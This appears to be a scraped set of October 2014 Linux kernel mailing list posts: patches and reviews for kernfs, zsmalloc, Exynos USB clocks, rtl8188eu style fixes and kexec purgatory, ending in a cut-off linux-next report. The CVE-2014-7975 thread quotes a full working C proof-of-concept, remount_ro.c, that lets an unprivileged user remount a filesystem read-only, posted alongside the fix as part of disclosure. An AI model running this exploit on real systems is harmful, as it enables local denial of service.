[PATCH 2/2 - revised] sysfs/kernfs: make read requests on pre-alloc files use the buffer.
To match the previous patch which used the pre-alloc buffer for
writes, this patch causes reads to use the same buffer.
This is not strictly necessary as the current seq_read() will allocate
on first read, so user-space can trigger the required pre-alloc. But
consistency is valuable.
The read function is somewhat simpler than seq_read() and, for example,
does not support reading from an offset into the file: reads must be
at the start of the file.
As seq_read() does not use the prealloc buffer, ->seq_show is
incompatible with ->prealloc and caused an EINVAL return from open().
sysfs code which calls into kernfs always chooses the correct function.
As the buffer is shared with writes and other reads, the mutex is
extended to cover the copy_to_user.
Signed-off-by: NeilBrown
Reviewed-by: Tejun Heo
---
Please use this version instead. Original had a last minute change which
lead to a compile error - sorry.
NeilBrown
diff --git a/fs/kernfs/file.c b/fs/kernfs/file.c
index 70186e2e692a..697390ea47b8 100644
--- a/fs/kernfs/file.c
+++ b/fs/kernfs/file.c
@@ -189,13 +189,16 @@ static ssize_t kernfs_file_direct_read(struct
kernfs_open_file *of,
const struct kernfs_ops *ops;
char *buf;
- buf = kmalloc(len, GFP_KERNEL);
+ buf = of->prealloc_buf;
+ if (!buf)
+ buf = kmalloc(len, GFP_KERNEL);
if (!buf)
return -ENOMEM;
/*
-* @of->mutex nests outside active ref and is primarily to ensure that
-* the ops aren't called concurrently for the same open file.
+* @of->mutex nests outside active ref and is used both to ensure that
+* the ops aren't called concurrently for the same open file, and
+* to provide exclusive access to ->prealloc_buf (when that exists).
*/
mutex_lock(>mutex);
if (!kernfs_get_active(of->kn)) {
@@ -210,21 +213,22 @@ static ssize_t kernfs_file_direct_read(struct
kernfs_open_file *of,
else
len = -EINVAL;
- kernfs_put_active(of->kn);
- mutex_unlock(>mutex);
-
if (len < 0)
- goto out_free;
+ goto out_unlock;
if (copy_to_user(user_buf, buf, len)) {
len = -EFAULT;
- goto out_free;
+ goto out_unlock;
}
*ppos += len;
+ out_unlock:
+ kernfs_put_active(of->kn);
+ mutex_unlock(>mutex);
out_free:
- kfree(buf);
+ if (buf != of->prealloc_buf)
+ kfree(buf);
return len;
}
@@ -690,6 +694,14 @@ static int kernfs_fop_open(struct inode *inode, struct
file *file)
*/
of->atomic_write_len = ops->atomic_write_len;
+ error = -EINVAL;
+ /*
+* ->seq_show is incompatible with ->prealloc,
+* as seq_read does its own allocation.
+* ->read must be used instead.
+*/
+ if (ops->prealloc && ops->seq_show)
+ goto err_free;
if (ops->prealloc) {
int len = of->atomic_write_len ?: PAGE_SIZE;
of->prealloc_buf = kmalloc(len + 1, GFP_KERNEL);
diff --git a/fs/sysfs/file.c b/fs/sysfs/file.c
index 4a959d231b43..29a7c6f9dd9c 100644
--- a/fs/sysfs/file.c
+++ b/fs/sysfs/file.c
@@ -102,6 +102,22 @@ static ssize_t sysfs_kf_bin_read(struct kernfs_open_file
*of, char *buf,
return battr->read(of->file, kobj, battr, buf, pos, count);
}
+/* kernfs read callback for regular sysfs files with pre-alloc */
+static ssize_t sysfs_kf_read(struct kernfs_open_file *of, char *buf,
+size_t count, loff_t pos)
+{
+ const struct sysfs_ops *ops = sysfs_file_ops(of->kn);
+ struct kobject *kobj = of->kn->parent->priv;
+
+ /*
+* If buf != of->prealloc_buf, we don't know how
+* large it is, so cannot safely pass it to ->show
+*/
+ if (pos || WARN_ON_ONCE(buf != of->prealloc_buf))
+ return 0;
+ return ops->show(kobj, of->kn->priv, buf);
+}
+
/* kernfs write callback for regular sysfs files */
static ssize_t sysfs_kf_write(struct kernfs_open_file *of, char *buf,
size_t count, loff_t pos)
@@ -184,13 +200,18 @@ static const struct kernfs_ops sysfs_file_kfops_rw = {
.write = sysfs_kf_write,
};
+static const struct kernfs_ops sysfs_prealloc_kfops_ro = {
+ .read = sysfs_kf_read,
+ .prealloc = true,
+};
+
static const struct kernfs_ops sysfs_prealloc_kfops_wo = {
.write = sysfs_kf_write,
.prealloc = true,
};
static const struct kernfs_ops sysfs_prealloc_kfops_rw = {
- .seq_show = sysfs_kf_seq_show,
+ .read = sysfs_kf_read,
.write = sysfs_kf_write,
.prealloc = true,
};
@@ -238,9 +259,12 @@ int sysfs_add_file_mode_ns(struct kernfs_node *parent,
ops = _prealloc_kfops_rw;
else
RE: [PATCH v3 0/3] mtd: nand: gpmi: add proper raw access support
> > No, it doesn't seem to be correct. > But it's an MLC flash, so you'll most probably need to apply this patch > to nandbiterrs testsuite: > > http://code.bulix.org/f69wuu-87021 > > This patch is flashing the block between each bitflip insertion to > avoid multiple write without erasure (which, AFAIK, is not supported > by MLC flashes). Hi Huang, just out of interest, have you tried this on the MLC NAND without the patch? I'm aware that MLC says you shouldn't write multiple times, but that is with a view towards specified data endurance. I would only expect a few additional bit errors during the test. Did you try the overwrite test? I'm curious how MLC NAND does when subjected to multiple writes. Best regards, Iwo __ This communication contains information which may be confidential or privileged. The information is intended solely for the use of the individual or entity named above. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this information is prohibited. If you have received this communication in error, please notify me by telephone immediately. __ -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] fs: Add a missing permission check to do_umount
On Thu, Oct 9, 2014 at 3:36 PM, Andy Lutomirski wrote:
> On Wed, Oct 8, 2014 at 12:37 PM, Andy Lutomirski wrote:
>> Accessing do_remount_sb should require global CAP_SYS_ADMIN, but
>> only one of the two call sites was appropriately protected.
>>
>> Fixes CVE-2014-7975.
>
> Due to my ineptitude, the cat is well and truly out of the bag on this
> one, complete with PoC.
Beuller?
Linus, can you pull this?
The following changes since commit a1480dcc3c706e309a4723446f2e84fedd5b:
fs: Add a missing permission check to do_umount (2014-10-08 12:32:47 -0700)
are available in the git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/luto/linux.git CVE-2014-7975
for you to fetch changes up to a1480dcc3c706e309a4723446f2e84fedd5b:
fs: Add a missing permission check to do_umount (2014-10-08 12:32:47 -0700)
Thanks,
Andy
>
> This fix really ought to be safe. Inside a mountns owned by a
> non-root user namespace, the namespace root almost always has
> MNT_LOCKED set (if it doesn't, then there's a bug, because rootfs
> could be exposed). In that case, calling umount on "/" will return
> -EINVAL with or without this patch.
>
> Outside a userns, this patch will have no effect. may_mount, required
> by umount, already checks
> ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN), so an
> additional capable(CAP_SYS_ADMIN) check will have no effect.
>
> That leaves anything that calls umount on "/" in a non-root userns
> while chrooted. This is the case that is currently broken (it
> remounts ro, which shouldn't be allowed) and that my patch changes to
> -EPERM. If anything relies on *that*, I'd be surprised.
>
> --Andy
>
>>
>> Cc: sta...@vger.kernel.org
>> Signed-off-by: Andy Lutomirski
>> ---
>>
>> *Sigh*
>>
>> Build the thing below and do something like:
>>
>> $ cd /dev/pts
>> $ remount_ro /dev
>>
>> /* remount_ro.c */
>> /* Copyright (c) 2014 Andrew Lutomirski. All rights reserved. */
>>
>> #define _GNU_SOURCE
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>> #include
>>
>> #ifndef CLONE_NEWUSER
>> #define CLONE_NEWUSER 0x1000
>> #endif
>>
>> static void set_map(const char *path, uid_t outer)
>> {
>> char buf[1024];
>> int fd = open(path, O_WRONLY);
>> if (fd == -1)
>> err(1, "open map");
>> sprintf(buf, "0 %ld 1", (long)outer);
>> if (write(fd, buf, strlen(buf)) != strlen(buf))
>> err(1, "write map");
>> close(fd);
>> }
>>
>> int main(int argc, char **argv)
>> {
>> printf("remount_ro, a DoS by Andy Lutomirski\n");
>> if (argc != 2) {
>> printf("Usage: remount_ro TARGET_MOUNT\n");
>> return 1;
>> }
>>
>> int origroot_fd;
>> long uid = geteuid(), gid = getegid();
>> char origcwd[16384];
>> const char *target = argv[1];
>>
>> if (unshare(CLONE_NEWUSER) != 0)
>> err(1, "unshare(CLONE_NEWUSER)");
>> if (unshare(CLONE_NEWNS) != 0)
>> err(1, "unshare(CLONE_NEWNS)");
>>
>> set_map("/proc/self/uid_map", uid);
>> set_map("/proc/self/gid_map", gid);
>>
>> if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
>> err(1, "MS_PRIVATE");
>>
>> // Minimize required thought: just chroot to the target first.
>> if (chroot(target) != 0)
>> err(1, "chroot to target");
>>
>> // Big song and dance to clear MNT_LOCKED on "/".
>>
>> origroot_fd = open("/", O_RDONLY);
>> if (origroot_fd == -1)
>> err(1, "open");
>>
>> if (!getcwd(origcwd, sizeof(origcwd)))
>> err(1, "getcwd");
>> if (!strncmp("(unreachable)", origcwd, 13))
>> errx(1, "current directory must be under the target directory");
>> if (!strcmp(origcwd, "/"))
>> errx(1, "don't run from the target directory");
>> if (mount("temporary_root", ".", "tmpfs", 0, NULL) != 0)
>> err(1, "mount");
>> if (chdir(origcwd) != 0)
>> err(1, "chdir");
>>
>> if (syscall(SYS_pivot_root, ".", ".") != 0)
>> err(1, "pivot_root");
>>
>> if (fchdir(origroot_fd) != 0)
>> err(1, "fchdir");
>> close(origroot_fd);
>>
>> if (chroot(".") != 0)
>> err(1, "chroot");
>>
>> // That was fun. Exploit time.
>> if (umount2("/", MNT_FORCE) != 0)
>> err(1, "umount");
>> printf("Seems to have worked. Have fun.\n");
>>
>> return 0;
>> }
>>
>> fs/namespace.c | 2 ++
>> 1 file changed, 2 insertions(+)
>>
>> diff --git a/fs/namespace.c b/fs/namespace.c
>> index ef42d9bee212..7f67b463a5b4 100644
>> --- a/fs/namespace.c
>> +++ b/fs/namespace.c
>> @@ -1356,6 +1356,8 @@ static int do_umount(struct mount *mnt, int flags)
>> * Special case for "unmounting" root ...
>> * we just try to remount it readonly.
>> */
>> + if (!capable(CAP_SYS_ADMIN))
>> + return -EPERM;
>> down_write(>s_umount);
>> if (!(sb->s_flags & MS_RDONLY))
>> retval =
Re: [PATCH v3 2/2] DT: iio: vadc: document dt binding
Thanks for the comments! On 10/12/2014 02:05 AM, Hartmut Knaack wrote: > Hi, > two small issues inline. > Stanimir Varbanov schrieb am 24.09.2014 14:56: >> Document DT binding for Qualcomm SPMI PMIC voltage ADC >> driver. >> >> Signed-off-by: Stanimir Varbanov >> Signed-off-by: Ivan T. Ivanov >> --- >> .../devicetree/bindings/iio/adc/qcom,spmi-vadc.txt | 130 >> >> 1 files changed, 130 insertions(+), 0 deletions(-) >> create mode 100644 >> Documentation/devicetree/bindings/iio/adc/qcom,spmi-vadc.txt >> >> diff --git a/Documentation/devicetree/bindings/iio/adc/qcom,spmi-vadc.txt >> b/Documentation/devicetree/bindings/iio/adc/qcom,spmi-vadc.txt >> new file mode 100644 >> index 000..fa30300 >> --- /dev/null >> +++ b/Documentation/devicetree/bindings/iio/adc/qcom,spmi-vadc.txt >> @@ -0,0 +1,130 @@ >> +Qualcomm's SPMI PMIC voltage ADC >> + >> +SPMI PMIC voltage ADC (VADC) provides interface to clients to read >> +voltage. A 15 bit ADC is used for voltage measurements. There are multiple >> +peripherals to the VADC and the scope of the driver is to provide interface >> +for the USR peripheral of the VADC. >> + >> +VADC node: >> + >> +- compatible: >> +Usage: required >> +Value type: >> +Definition: Should contain "qcom,spmi-vadc". >> + >> +- reg: >> +Usage: required >> +Value type: >> +Definition: Base address in the SPMI PMIC register map. >> + >> +- address-cells: >> +Usage: required >> +Value type: >> +Definition: Must be one. >> + >> +- size-cells: >> +Usage: required >> +Value type: >> +Definition: Must be zero. >> + >> +- interrupts: >> +Usage: optional >> +Value type: >> +Definition: End of conversion interrupt number. If this property does >> +not exist polling will be used instead. >> + >> +- interrupt-names: >> +Usage: optional >> +Value type: >> +Definition: Should contain the interrupt name "eoc" (end of conversion). >> + >> +Channel node properties: >> + >> +- reg: >> +Usage: required >> +Value type: >> +Definition: AMUX channel number. >> +See include/dt-bindings/iio/qcom,spmi-pmic-vadc.h >> + >> +- qcom,decimation: >> +Usage: optional >> +Value type: >> +Definition: Sampling rate to use for the individual channel measurement. >> +Quicker measurements can be made by reducing decimation ratio. >> +Valid values are 512, 1024, 2048, 4096. >> +If property is not found, default value of 512 will be used. >> + >> +- qcom,pre-scaling: >> +Usage: optional >> +Value type: >> +Definition: Used for scaling the channel input signal before the signal >> is >> +fed to VADC. The configuration for this node is to know the >> +pre-determined ratio and use it for post scaling. Select one >> from >> +the following options. >> +<1 1>, <1 3>, <1 4>, <1 6>, <1 20>, <1 8>, <10 81>, <1 10> >> +If property is not found default value depending of chip will >> be used. >> + >> +- qcom,ratiometric: >> +Usage: optional >> +Value type: >> +Definition: Channel calibration type. If this property is specified >> +VADC will use the VDD reference(1.8V) and GND for channel > Missing whitespace before opening parenthesis. >> +calibration. If property is not found, channel will be >> +calibrated with 625mV and 1.25V reference channels. > There is a slight majority in using V instead of mv (2 : 1), so why not > express everything in V? No worries, will correct. -- regards, Stan -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH v5] zsmalloc: merge size_class to reduce fragmentation
zsmalloc has many size_classes to reduce fragmentation and they are
in 16 bytes unit, for example, 16, 32, 48, etc., if PAGE_SIZE is 4096.
And, zsmalloc has constraint that each zspage has 4 pages at maximum.
In this situation, we can see interesting aspect.
Let's think about size_class for 1488, 1472, ..., 1376.
To prevent external fragmentation, they uses 4 pages per zspage and
so all they can contain 11 objects at maximum.
16384 (4096 * 4) = 1488 * 11 + remains
16384 (4096 * 4) = 1472 * 11 + remains
16384 (4096 * 4) = ...
16384 (4096 * 4) = 1376 * 11 + remains
It means that they have same characteristics and classification between
them isn't needed. If we use one size_class for them, we can reduce
fragementation and save some memory since both the 1488 and 1472 sized
classes can only fit 11 objects into 4 pages, and an object that's
1472 bytes can fit into an object that's 1488 bytes, merging these
classes to always use objects that are 1488 bytes will reduce the total
number of size classes. And reducing the total number of size classes
reduces overall fragmentation, because a wider range of compressed pages
can fit into a single size class, leaving less unused objects in each
size class.
For this purpose, this patch implement size_class merging. If there is
size_class that have same pages_per_zspage and same number of objects
per zspage with previous size_class, we don't create new size_class.
Instead, we use previous, same characteristic size_class. With this way,
above example sizes (1488, 1472, ..., 1376) use just one size_class
so we can get much more memory utilization.
Below is result of my simple test.
TEST ENV: EXT4 on zram, mount with discard option
WORKLOAD: untar kernel source code, remove directory in descending order
in size. (drivers arch fs sound include net Documentation firmware
kernel tools)
Each line represents orig_data_size, compr_data_size, mem_used_total,
fragmentation overhead (mem_used - compr_data_size) and overhead ratio
(overhead to compr_data_size), respectively, after untar and remove
operation is executed.
* untar-nomerge.out
orig_size compr_size used_size overhead overhead_ratio
525.88MB 199.16MB 210.23MB 11.08MB 5.56%
288.32MB 97.43MB 105.63MB 8.20MB 8.41%
177.32MB 61.12MB 69.40MB 8.28MB 13.55%
146.47MB 47.32MB 56.10MB 8.78MB 18.55%
124.16MB 38.85MB 48.41MB 9.55MB 24.58%
103.93MB 31.68MB 40.93MB 9.25MB 29.21%
84.34MB 22.86MB 32.72MB 9.86MB 43.13%
66.87MB 14.83MB 23.83MB 9.00MB 60.70%
60.67MB 11.11MB 18.60MB 7.49MB 67.48%
55.86MB 8.83MB 16.61MB 7.77MB 88.03%
53.32MB 8.01MB 15.32MB 7.31MB 91.24%
* untar-merge.out
orig_size compr_size used_size overhead overhead_ratio
526.23MB 199.18MB 209.81MB 10.64MB 5.34%
288.68MB 97.45MB 104.08MB 6.63MB 6.80%
177.68MB 61.14MB 66.93MB 5.79MB 9.47%
146.83MB 47.34MB 52.79MB 5.45MB 11.51%
124.52MB 38.87MB 44.30MB 5.43MB 13.96%
104.29MB 31.70MB 36.83MB 5.13MB 16.19%
84.70MB 22.88MB 27.92MB 5.04MB 22.04%
67.11MB 14.83MB 19.26MB 4.43MB 29.86%
60.82MB 11.10MB 14.90MB 3.79MB 34.17%
55.90MB 8.82MB 12.61MB 3.79MB 42.97%
53.32MB 8.01MB 11.73MB 3.73MB 46.53%
As you can see above result, merged one has better utilization (overhead
ratio, 5th column) and uses less memory (mem_used_total, 3rd column).
Changes from v1:
- More commit description about what to do in this patch.
- Remove nr_obj in size_class, because it isn't need after initialization.
- Rename __size_class to size_class, size_class to merged_size_class.
- Add code comment for merged_size_class of struct zs_pool.
- Add code comment how merging works in zs_create_pool().
Changes from v2:
- Add more commit description (Dan)
- dynamically allocate size_class structure (Dan)
- rename objs_per_zspage to get_maxobj_per_zspage (Minchan)
Changes from v3:
- Add error handling logic in zs_create_pool (Dan)
Changes from v4:
- Remove reference count. Instead, use class->index to identify
merged size_class (Minchan, Dan)
Signed-off-by: Joonsoo Kim
---
mm/zsmalloc.c | 80 +++--
1 file changed, 66 insertions(+), 14 deletions(-)
diff --git a/mm/zsmalloc.c b/mm/zsmalloc.c
index c4a9157..058a243 100644
--- a/mm/zsmalloc.c
+++ b/mm/zsmalloc.c
@@ -214,7 +214,7 @@ struct link_free {
};
struct zs_pool {
- struct size_class size_class[ZS_SIZE_CLASSES];
+ struct size_class *size_class[ZS_SIZE_CLASSES];
gfp_t flags;/* allocation flags used when growing pool */
atomic_long_t pages_allocated;
@@ -468,7 +468,7 @@ static enum fullness_group fix_fullness_group(struct
zs_pool *pool,
if (newfg == currfg)
goto out;
- class = >size_class[class_idx];
+ class = pool->size_class[class_idx];
remove_zspage(page, class, currfg);
insert_zspage(page, class, newfg);
set_zspage_mapping(page, class_idx, newfg);
@@ -929,6 +929,23 @@ fail:
return
Re: [PATCH v4] zsmalloc: merge size_class to reduce fragmentation
On Thu, Oct 02, 2014 at 10:47:51AM -0400, Dan Streetman wrote: > >> I think that using ref would makes intuitive code. Although there is > >> some memory overhead, it is really small. So I prefer to this way. > >> > >> But, if you think that removing ref is better, I will do it. > >> Please let me know your final decision. > > > > Yeb, please remove the ref. I want to keep size_class small for > > cache footprint. > > i think a foreach_size_class() would be useful for zs_destroy_pool(), > and in case any other size class iterations are added in the future, > and it wouldn't require the extra ref field. You can use the fact > that all merged size classes contain a class->index of the > highest/largest size_class (because they all point to the same size > class). So something like: Hello, Using class->index looks good idea, but, I'd like not to add new macro here, because, it isn't needed in other place now. Thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2 1/4] dwc3: exynos: Add support for SCLK present on Exynos7
Hi Felipe,
On Tue, Oct 14, 2014 at 4:14 AM, Felipe Balbi wrote:
> Hi,
>
> On Mon, Oct 13, 2014 at 01:54:59PM +0900, Anton Tikhomirov wrote:
>> Hi Vivek,
>>
>> > Exynos7 also has a separate special gate clock going to the IP
>> > apart from the usual AHB clock. So add support for the same.
>>
>> As we discussed before, Exynos7 SoCs have 7 clocks to be controlled
>> by the driver. Adding only sclk is not enough.
>>
>> >
>> > Signed-off-by: Vivek Gautam
>> > ---
>> > drivers/usb/dwc3/dwc3-exynos.c | 16
>> > 1 file changed, 16 insertions(+)
>> >
>> > diff --git a/drivers/usb/dwc3/dwc3-exynos.c b/drivers/usb/dwc3/dwc3-
>> > exynos.c
>> > index 3951a65..7dc6a98 100644
>> > --- a/drivers/usb/dwc3/dwc3-exynos.c
>> > +++ b/drivers/usb/dwc3/dwc3-exynos.c
>> > @@ -35,6 +35,7 @@ struct dwc3_exynos {
>> > struct device *dev;
>> >
>> > struct clk *clk;
>>
>> The clock "clk" in Exynos5 just gated all that above 7 clocks, which
>> we should control separately now in Exynos7.
>>
>
> should I drop this patch for now ?
Yes, better to hold this for some time till we get more clarity
from our h/w team.
--
Best Regards
Vivek Gautam
Samsung R Institute, Bangalore
India
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2 1/4] dwc3: exynos: Add support for SCLK present on Exynos7
Hi Tomasz, On Tue, Oct 14, 2014 at 6:56 AM, Anton Tikhomirov wrote: > Hello, > >> Hi Anton, >> >> On 13.10.2014 06:54, Anton Tikhomirov wrote: >> > Hi Vivek, >> > >> >> Exynos7 also has a separate special gate clock going to the IP >> >> apart from the usual AHB clock. So add support for the same. >> > >> > As we discussed before, Exynos7 SoCs have 7 clocks to be controlled >> > by the driver. Adding only sclk is not enough. >> > >> >> I'm quite interested in this discussion. Has it happened on mailing >> lists? > > No, we used company messenger for the discussion. Yea, we head a round of discussion at our end regarding this, and we are going to get more clarity on this from our H/W team too, this week. > >> >> In general, previous SoCs also gave the possibility of controlling all >> the bus clocks separately, in addition to bulk gates, but there was no > > correct > >> real advantage in using those, while burdening the clock tree with >> numerous clocks. Isn't Exynos7 similar in this aspect? > > Exynos7 doesn't have "Gating all clocks for USBDRD30" bit. The clocks > should be controlled separately. true, on Exynos7 we have separate gates for the available clocks going to USB-DRD block. So we will have to add these basic required number of clocks. -- Best Regards Vivek Gautam Samsung R Institute, Bangalore India -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHv2] staging: rtl8188eu: Fix coding style space related ERROR problems
Sorry,seems git ate my one line words after mail subject:
>From v1: suggested by j...@perches.com, fixed some points not checked
or not correctly checked by checkpatch.pl
On Tue, 14 Oct 2014 11:28:32 +0800 from hejia...@gmail.com wrote:
> This fixes space related ERROR reports by checkpatch.pl
> Generated by $ git ls-files "drivers/staging/rtl8188eu/*.[ch]" | \
> xargs ./scripts/checkpatch.pl -f --fix-inplace --strict --types=SPACING
> Already checked by text comparasion
> $git diff -w
> and binary comparasion of r8188eu.ko
> $objdiff diff
>
> Signed-off-by: Jia He
> Cc: Greg Kroah-Hartman
> ---
> drivers/staging/rtl8188eu/core/rtw_cmd.c | 2 +-
> drivers/staging/rtl8188eu/core/rtw_ieee80211.c| 16 +-
> drivers/staging/rtl8188eu/core/rtw_mlme.c | 2 +-
> drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 22 +++---
> drivers/staging/rtl8188eu/core/rtw_pwrctrl.c | 2 +-
> drivers/staging/rtl8188eu/core/rtw_recv.c | 12
> drivers/staging/rtl8188eu/core/rtw_security.c | 20 ++---
> drivers/staging/rtl8188eu/core/rtw_sta_mgt.c | 2 +-
> drivers/staging/rtl8188eu/core/rtw_xmit.c | 10 +++
> drivers/staging/rtl8188eu/hal/bb_cfg.c| 4 +--
> drivers/staging/rtl8188eu/hal/fw.c| 8 ++---
> drivers/staging/rtl8188eu/hal/mac_cfg.c | 2 +-
> drivers/staging/rtl8188eu/hal/odm.c | 8 ++---
> drivers/staging/rtl8188eu/hal/odm_HWConfig.c | 2 +-
> drivers/staging/rtl8188eu/hal/odm_RTL8188E.c | 2 +-
> drivers/staging/rtl8188eu/hal/phy.c | 2 +-
> drivers/staging/rtl8188eu/hal/rf.c| 4 +--
> drivers/staging/rtl8188eu/hal/rf_cfg.c| 4 +--
> drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 2 +-
> drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c| 2 +-
> drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 +-
> drivers/staging/rtl8188eu/include/ieee80211_ext.h | 20 ++---
> drivers/staging/rtl8188eu/include/odm_debug.h | 2 +-
> drivers/staging/rtl8188eu/include/osdep_service.h | 4 +--
> drivers/staging/rtl8188eu/include/rtw_debug.h | 2 +-
> drivers/staging/rtl8188eu/include/rtw_led.h | 2 +-
> drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 26
> drivers/staging/rtl8188eu/include/wifi.h | 36
> +++
> drivers/staging/rtl8188eu/os_dep/ioctl_linux.c| 2 +-
> drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 +-
> drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 4 +--
> drivers/staging/rtl8188eu/os_dep/xmit_linux.c | 2 +-
> 32 files changed, 116 insertions(+), 116 deletions(-)
>
> diff --git a/drivers/staging/rtl8188eu/core/rtw_cmd.c
> b/drivers/staging/rtl8188eu/core/rtw_cmd.c
> index 9935e66..7b59a10 100644
> --- a/drivers/staging/rtl8188eu/core/rtw_cmd.c
> +++ b/drivers/staging/rtl8188eu/core/rtw_cmd.c
> @@ -638,7 +638,7 @@ u8 rtw_setstakey_cmd(struct adapter *padapter, u8 *psta,
> u8 unicast_key)
> ether_addr_copy(psetstakey_para->addr, sta->hwaddr);
>
> if (check_fwstate(pmlmepriv, WIFI_STATION_STATE))
> - psetstakey_para->algorithm = (unsigned char)
> psecuritypriv->dot11PrivacyAlgrthm;
> + psetstakey_para->algorithm = (unsigned
> char)psecuritypriv->dot11PrivacyAlgrthm;
> else
> GET_ENCRY_ALGO(psecuritypriv, sta, psetstakey_para->algorithm,
> false);
>
> diff --git a/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
> b/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
> index 755d3ef..f2c3ca7 100644
> --- a/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
> +++ b/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
> @@ -159,7 +159,7 @@ u8 *rtw_set_ie
> return pbuf + len + 2;
> }
>
> -inline u8 *rtw_set_ie_ch_switch (u8 *buf, u32 *buf_len, u8 ch_switch_mode,
> +inline u8 *rtw_set_ie_ch_switch(u8 *buf, u32 *buf_len, u8 ch_switch_mode,
> u8 new_ch, u8 ch_switch_cnt)
> {
> u8 ie_data[3];
> @@ -870,7 +870,7 @@ static int rtw_ieee802_11_parse_vendor_specific(u8 *pos,
> uint elen,
> if (elen < 4) {
> if (show_errors) {
> DBG_88E("short vendor specific information element
> ignored (len=%lu)\n",
> - (unsigned long) elen);
> + (unsigned long)elen);
> }
> return -1;
> }
> @@ -890,7 +890,7 @@ static int rtw_ieee802_11_parse_vendor_specific(u8 *pos,
> uint elen,
> case WME_OUI_TYPE: /* this is a Wi-Fi WME info. element */
> if (elen < 5) {
> DBG_88E("short WME information element ignored
> (len=%lu)\n",
> - (unsigned long) elen);
> + (unsigned long)elen);
> return -1;
> }
> switch (pos[4]) {
> @@
[PATCH] arch/x86/purgatory/Makefile: supress kexec-purgatory.c is up to date message
Supress this unnecessary message during kernel re-build (CONFIG_KEXEC_FILE=y): make[1]: `arch/x86/purgatory/kexec-purgatory.c' is up to date. Signed-off-by: WANG Chao --- arch/x86/purgatory/Makefile | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/x86/purgatory/Makefile b/arch/x86/purgatory/Makefile index f52e033..2c835e3 100644 --- a/arch/x86/purgatory/Makefile +++ b/arch/x86/purgatory/Makefile @@ -24,6 +24,7 @@ quiet_cmd_bin2c = BIN2C $@ $(obj)/kexec-purgatory.c: $(obj)/purgatory.ro FORCE $(call if_changed,bin2c) + @: obj-$(CONFIG_KEXEC_FILE) += kexec-purgatory.o -- 1.9.3 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
linux-next: Tree for Oct 14
Hi all, Please do not add any material intended for v3.19 to your linux-next included trees until after v3.18-rc1 has been released. Changes since 20141013: Removed trees: powernv-cpuidle, signal-cleanup Non-merge commits (relative to Linus' tree): 2254 2093 files changed, 71407 insertions(+), 27705 deletions(-) I have created today's linux-next tree at git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git (patches at http://www.kernel.org/pub/linux/kernel/next/ ). If you are tracking the linux-next tree using git, you should not use "git pull" to do so as that will try to merge the new linux-next release with the old one. You should use "git fetch" and checkout or reset to the new master. You can see which trees have been included by looking in the Next/Trees file in the source. There are also quilt-import.log and merge.log files in the Next directory. Between each merge, the tree was built with a ppc64_defconfig for powerpc and an allmodconfig for x86_64 and a multi_v7_defconfig for arm. After the final fixups (if any), it is also built with powerpc allnoconfig (32 and 64 bit), ppc44x_defconfig and allyesconfig (this fails its final link) and i386, sparc, sparc64 and arm defconfig. Below is a summary of the state of the merge. I am currently merging 224 trees (counting Linus' and 32 trees of patches pending for Linus' tree). Stats about the size of the tree over time can be seen at http://neuling.org/linux-next-size.html . Status of my local build tests will be at http://kisskb.ellerman.id.au/linux-next . If maintainers want to give advice about cross compilers/configs that work, we are always open to add more builds. Thanks to Randy Dunlap for doing many randconfig builds. And to Paul Gortmaker for triage and bug fixes. -- Cheers, Stephen Rothwells...@canb.auug.org.au $ git checkout master $ git reset --hard stable Merging origin/master (f1d0d14120a8 Merge branch 'x86-cpu-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip) Merging fixes/master (b94d525e58dc Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net) Merging kbuild-current/rc-fixes (7d1311b93e58 Linux 3.17-rc1) Merging arc-current/for-curr (2ce7598c9a45 Linux 3.17-rc4) Merging arm-current/fixes (ad684dce87fa ARM: 8179/1: kprobes-test: Fix compile error "bad immediate value for offset") Merging m68k-current/for-linus (24cae7934cf1 m68k: Reformat arch/m68k/mm/hwtest.c) Merging metag-fixes/fixes (ffe6902b66aa asm-generic: remove _STK_LIM_MAX) Merging mips-fixes/mips-fixes (1795cd9b3a91 Linux 3.16-rc5) Merging powerpc-merge/merge (396a34340cdf powerpc: Fix endianness of flash_block_list in rtas_flash) Merging powerpc-merge-mpe/for-linus (d53ba6b3bba3 cxl: Fix afu_read() not doing finish_wait() on signal or non-blocking) Merging sparc/master (bdcf81b658eb sparc64: Fix lockdep warnings on reboot on Ultra-5) Merging net/master (01d2d484e49e Merge 